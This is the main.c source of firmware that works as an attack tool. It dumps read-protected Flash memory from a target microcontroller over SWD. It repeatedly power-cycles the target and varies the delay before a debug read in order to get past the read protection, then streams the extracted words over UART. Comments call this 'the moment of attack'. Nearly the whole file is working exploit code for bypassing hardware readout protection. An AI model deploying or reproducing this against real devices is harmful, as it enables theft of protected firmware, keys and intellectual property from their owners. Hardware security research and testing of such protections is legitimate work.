main.c 7.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282
  1. /*
  2. * This Source Code Form is subject to the terms of the MIT License.
  3. * If a copy of the MIT License was not distributed with this file,
  4. * you can obtain one at https://opensource.org/licenses/MIT
  5. */
  6. #include <stdint.h>
  7. #include <string.h>
  8. #include "main.h"
  9. #include "system.h"
  10. #include "swd.h"
  11. #include "target.h"
  12. #include "uart.h"
  13. static swdStatus_t extractFlashData( uint32_t const address, uint32_t * const data );
  14. static extractionStatistics_t extractionStatistics = {0u};
  15. static uartControl_t uartControl = {0u};
  16. /* Reads one 32-bit word from read-protection Flash memory.
  17. Address must be 32-bit aligned */
  18. static swdStatus_t extractFlashData( uint32_t const address, uint32_t * const data )
  19. {
  20. swdStatus_t dbgStatus = swdStatusNone;
  21. /* Add some jitter on the moment of attack (may increase attack effectiveness) */
  22. static uint16_t delayJitter = DELAY_JITTER_MS_MIN;
  23. uint32_t extractedData = 0u;
  24. uint32_t idCode = 0u;
  25. /* Limit the maximum number of attempts PER WORD */
  26. uint32_t numReadAttempts = 0u;
  27. /* try up to MAX_READ_TRIES times until we have the data */
  28. do
  29. {
  30. LED_BSRR |= (1 << (GREEN_LED_PIN + 16)); /* off */
  31. targetSysOn();
  32. waitms(5u);
  33. dbgStatus = swdInit( &idCode );
  34. if (likely(dbgStatus == swdStatusOk))
  35. {
  36. dbgStatus = swdEnableDebugIF();
  37. }
  38. if (likely(dbgStatus == swdStatusOk))
  39. {
  40. dbgStatus = swdSetAP32BitMode( NULL );
  41. }
  42. if (likely(dbgStatus == swdStatusOk))
  43. {
  44. dbgStatus = swdSelectAHBAP();
  45. }
  46. if (likely(dbgStatus == swdStatusOk))
  47. {
  48. targetSysUnReset();
  49. waitms(delayJitter);
  50. /* The magic happens here! */
  51. dbgStatus = swdReadAHBAddr( (address & 0xFFFFFFFCu), &extractedData );
  52. }
  53. targetSysReset();
  54. ++(extractionStatistics.numAttempts);
  55. /* Check whether readout was successful. Only if swdStatusOK is returned, extractedData is valid */
  56. if (dbgStatus == swdStatusOk)
  57. {
  58. *data = extractedData;
  59. ++(extractionStatistics.numSuccess);
  60. LED_BSRR |= (1 << (GREEN_LED_PIN)); /* on */
  61. }
  62. else
  63. {
  64. ++(extractionStatistics.numFailure);
  65. ++numReadAttempts;
  66. delayJitter += DELAY_JITTER_MS_INCREMENT;
  67. if (delayJitter >= DELAY_JITTER_MS_MAX)
  68. {
  69. delayJitter = DELAY_JITTER_MS_MIN;
  70. }
  71. }
  72. targetSysOff();
  73. waitms(1u);
  74. }
  75. while ((dbgStatus != swdStatusOk) && (numReadAttempts < (MAX_READ_ATTEMPTS)));
  76. return dbgStatus;
  77. }
  78. void printExtractionStatistics( void )
  79. {
  80. uartSendStr("Statistics: \r\n");
  81. uartSendStr("Attempts: 0x");
  82. uartSendWordHexBE(extractionStatistics.numAttempts);
  83. uartSendStr("\r\n");
  84. uartSendStr("Success: 0x");
  85. uartSendWordHexBE(extractionStatistics.numSuccess);
  86. uartSendStr("\r\n");
  87. uartSendStr("Failure: 0x");
  88. uartSendWordHexBE(extractionStatistics.numFailure);
  89. uartSendStr("\r\n");
  90. }
  91. int main()
  92. {
  93. uint32_t reg;
  94. /* Enable all GPIO clocks */
  95. AHB1_CLOCK_ER |= (GPIOA_AHB1_CLOCK_ER | GPIOB_AHB1_CLOCK_ER | GPIOC_AHB1_CLOCK_ER | GPIOD_AHB1_CLOCK_ER | GPIOE_AHB1_CLOCK_ER | GPIOF_AHB1_CLOCK_ER);
  96. /* Leds */
  97. #ifdef CUSTOM_HW
  98. reg = GPIOE_MODE & ~ (0x03 << (BLUE_LED_PIN * 2));
  99. GPIOE_MODE = reg | (1 << (BLUE_LED_PIN * 2));
  100. reg = GPIOE_PUPD & (0x03 << (BLUE_LED_PIN * 2));
  101. GPIOE_PUPD = reg | (0x02 << (BLUE_LED_PIN * 2));
  102. GPIOD_MODE &= ~(0x03 << (BUTTON_PIN * 2));
  103. #else
  104. reg = GPIOD_MODE & ~ (0x03 << (BLUE_LED_PIN * 2));
  105. GPIOD_MODE = reg | (1 << (BLUE_LED_PIN * 2));
  106. reg = GPIOD_PUPD & (0x03 << (BLUE_LED_PIN * 2));
  107. GPIOD_PUPD = reg | (0x02 << (BLUE_LED_PIN * 2));
  108. reg = GPIOD_MODE & ~ (0x03 << (RED_LED_PIN * 2));
  109. GPIOD_MODE = reg | (1 << (RED_LED_PIN * 2));
  110. reg = GPIOD_PUPD & (0x03 << (RED_LED_PIN * 2));
  111. GPIOD_PUPD = reg | (0x02 << (RED_LED_PIN * 2));
  112. reg = GPIOD_MODE & ~ (0x03 << (GREEN_LED_PIN * 2));
  113. GPIOD_MODE = reg | (1 << (GREEN_LED_PIN * 2));
  114. reg = GPIOD_PUPD & (0x03 << (GREEN_LED_PIN * 2));
  115. GPIOD_PUPD = reg | (0x02 << (GREEN_LED_PIN * 2));
  116. /* button */
  117. GPIOA_MODE &= ~ (0x03 << (BUTTON_PIN * 2));
  118. #endif
  119. /* target (swd) */
  120. reg = GPIOA_MODE & ~ (0x03 << (PIN_SWCLK * 2));
  121. GPIOA_MODE = reg | (1 << (PIN_SWCLK * 2));
  122. reg = GPIOA_PUPD & (0x03 << (PIN_SWCLK * 2));
  123. GPIOA_PUPD = reg | (0x02 << (PIN_SWCLK * 2));
  124. reg = GPIOA_OSPD & (0x03 << (PIN_SWCLK * 2));
  125. GPIOA_OSPD = reg | (0x03 << (PIN_SWCLK * 2));
  126. reg = GPIOA_MODE & ~ (0x03 << (PIN_SWDIO * 2));
  127. GPIOA_MODE = reg | (1 << (PIN_SWDIO * 2));
  128. reg = GPIOA_PUPD & (0x03 << (PIN_SWDIO * 2));
  129. GPIOA_PUPD = reg | (0x01 << (PIN_SWDIO * 2));
  130. reg = GPIOA_OSPD & (0x03 << (PIN_SWDIO * 2));
  131. GPIOA_OSPD = reg | (0x03 << (PIN_SWDIO * 2));
  132. /* target (ctrl) */
  133. reg = GPIOA_MODE & ~ (0x03 << (PIN_POWER * 2));
  134. GPIOA_MODE = reg | (1 << (PIN_POWER * 2));
  135. reg = GPIOA_PUPD & (0x03 << (PIN_POWER * 2));
  136. GPIOA_PUPD = reg | (0x02 << (PIN_POWER * 2));
  137. reg = GPIOA_OSPD & (0x03 << (PIN_POWER * 2));
  138. GPIOA_OSPD = reg | (0x03 << (PIN_POWER * 2));
  139. reg = GPIOA_MODE & ~ (0x03 << (PIN_RESET * 2));
  140. GPIOA_MODE = reg | (1 << (PIN_RESET * 2));
  141. reg = GPIOA_PUPD & (0x03 << (PIN_RESET * 2));
  142. GPIOA_PUPD = reg | (0x02 << (PIN_RESET * 2));
  143. reg = GPIOA_OSPD & (0x03 << (PIN_RESET * 2));
  144. GPIOA_OSPD = reg | (0x03 << (PIN_RESET * 2));
  145. clock_pll_on(0);
  146. systick_on();
  147. uartInit();
  148. LED_BSRR |= (1 << BLUE_LED_PIN) | (1 << GREEN_LED_PIN);
  149. uartControl.transmitHex = 0u;
  150. uartControl.transmitLittleEndian = 1u;
  151. uartControl.readoutAddress = 0x00000000u;
  152. uartControl.readoutLen = (64u * 1024u);
  153. uartControl.active = 0u;
  154. uint32_t readoutInd = 0u;
  155. uint32_t flashData = 0xFFFFFFFFu;
  156. uint32_t btnActive = 0u;
  157. uint32_t once = 0u;
  158. uint32_t waitcycles = 0u;
  159. swdStatus_t status = swdStatusOk;
  160. while (1u)
  161. {
  162. uartReceiveCommands( &uartControl );
  163. /* Start as soon as the button B1 has been pushed */
  164. if (!(BUTTON_IDR & (1 << BUTTON_PIN)))
  165. btnActive = 1u;
  166. if (uartControl.active || btnActive)
  167. {
  168. /* reset statistics on extraction start */
  169. if (!once)
  170. {
  171. once = 1u;
  172. extractionStatistics.numAttempts = 0u;
  173. extractionStatistics.numSuccess = 0u;
  174. extractionStatistics.numFailure = 0u;
  175. }
  176. status = extractFlashData((uartControl.readoutAddress + readoutInd), &flashData);
  177. if (status == swdStatusOk)
  178. {
  179. if (!(uartControl.transmitHex))
  180. {
  181. uartSendWordBin( flashData, &uartControl );
  182. }
  183. else
  184. {
  185. uartSendWordHex( flashData, &uartControl );
  186. uartSendStr(" ");
  187. }
  188. readoutInd += 4u;
  189. }
  190. else
  191. {
  192. if (uartControl.transmitHex)
  193. {
  194. uartSendStr("\r\n!ExtractionFailure");
  195. uartSendWordHexBE( status );
  196. }
  197. }
  198. if ((readoutInd >= uartControl.readoutLen) || (status != swdStatusOk))
  199. {
  200. btnActive = 0u;
  201. uartControl.active = 0u;
  202. readoutInd = 0u;
  203. once = 0u;
  204. /* Print EOF in HEX mode */
  205. if (uartControl.transmitHex != 0u)
  206. {
  207. uartSendStr("\r\n");
  208. }
  209. }
  210. } else { /* Idle */
  211. if (waitcycles++ == 2000000) {
  212. LED_BSRR |= (1 << BLUE_LED_PIN);
  213. waitcycles = 0;
  214. }
  215. if (waitcycles == 1000000) {
  216. LED_BSRR |= (1 << (BLUE_LED_PIN + 16));
  217. }
  218. }
  219. }
  220. return 0u;
  221. }